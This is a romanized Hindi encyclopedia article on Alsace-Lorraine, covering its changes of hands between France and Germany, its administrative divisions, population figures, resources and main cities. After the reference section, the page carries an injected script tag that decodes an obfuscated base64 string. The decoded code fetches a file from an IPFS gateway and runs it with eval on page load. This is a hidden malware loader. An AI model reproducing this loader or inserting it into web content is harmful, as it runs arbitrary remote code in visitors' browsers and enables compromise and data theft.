ऐल्सैस लोरेन
ailsais loren jarmani bhasha ka elazam loanthrijen 5,600 varg mil ka kshetr hai jise sanh 1871 ee. mean phraans ne jarmani ko abhyarpit kar diya tha. sanh 1919 ee. mean yah phir phraans ko de diya gaya, parantu sanh 1940 ee. mean jarmani ne vapas le liya. 1871 ee. ke pashchath jarmani ne ise tin prashasanik vibhagoan mean vibhajit kiya–'oopari ailsais', 'nichala ailsais' tatha loren. phraansisiyoan ne bhi ise tin vibhagoan mean baanta–ho-rain (janasankhya sanh 1968 mean 5,85,018), ba-rain (janasankhya sanh 1968 mean 8,27,367), tatha mozel (janasankhya sanh 1968 mean 9,71,314). prakritik roop se bhi ailsais ki apani simaean haian. pashchim mean phraans ki sima, poorv mean baden tatha dakshin mean yah svitzaralaiand se ghira hai. is kshetr ki janasankhya sanh 1936 ee. mean 19,15,627 thi, jinamean se keval das pratishat hi phraansisi bolanevale the, any sab jarman (jaise svitazaralaiand ke besal aanchal mean boli janevali jarman bhasha) bolanevale the. yadyapi ailsais mean potash tatha mitti ke tel ka utpadan hota hai, tathapi yah pradesh krishi utpadan, vastr, mashinoan ityadi ke lie adhik prasiddh hai. loren ka atyadhik mahatv yahaan ke lohe tatha koyale ke karan hai, jo audyogik tatha samarik donoan drishtiyoan se yoorop mean shakti ke pasang haian. isake atirikt yah b de-b de vyaparik tatha avagaman ke any mukhy margo–rain, saivarn tatha bargedi ke dvar–par hone se phraans tatha jarmani donoan ke lie sone ki chi diya hai. isaka 2,000 varsho ka itihas batata hai ki yah yooropiy rajaniti mean sadaiv jhag de ki j d raha hai aur sanh 1870 ee. se to vishv rajaniti mean bhi kaphi prasiddh raha hai. isaki poorvi sima par uttar se poorv disha mean 115 mil tak rain nadi bahati hai, straibarg ke niche eel (lanbaee 127 mil) isamean yog deti hai. sanpoorn pradesh ka pray: 50a bhag krishi yogy hai, 11.6 charagah ke yogy tatha 30.8a jangal hai. is pradesh ke mukhy nagar straisabarg (janasankhya sanh 1968 mean 2,49,396), metz (janasankhya sanh 1968 mean 1,07,437) tatha klomar haian. ab yah pradesh pashchimi shaktiyoan ke adhin hai.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 287 |
sanbandhit lekkh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>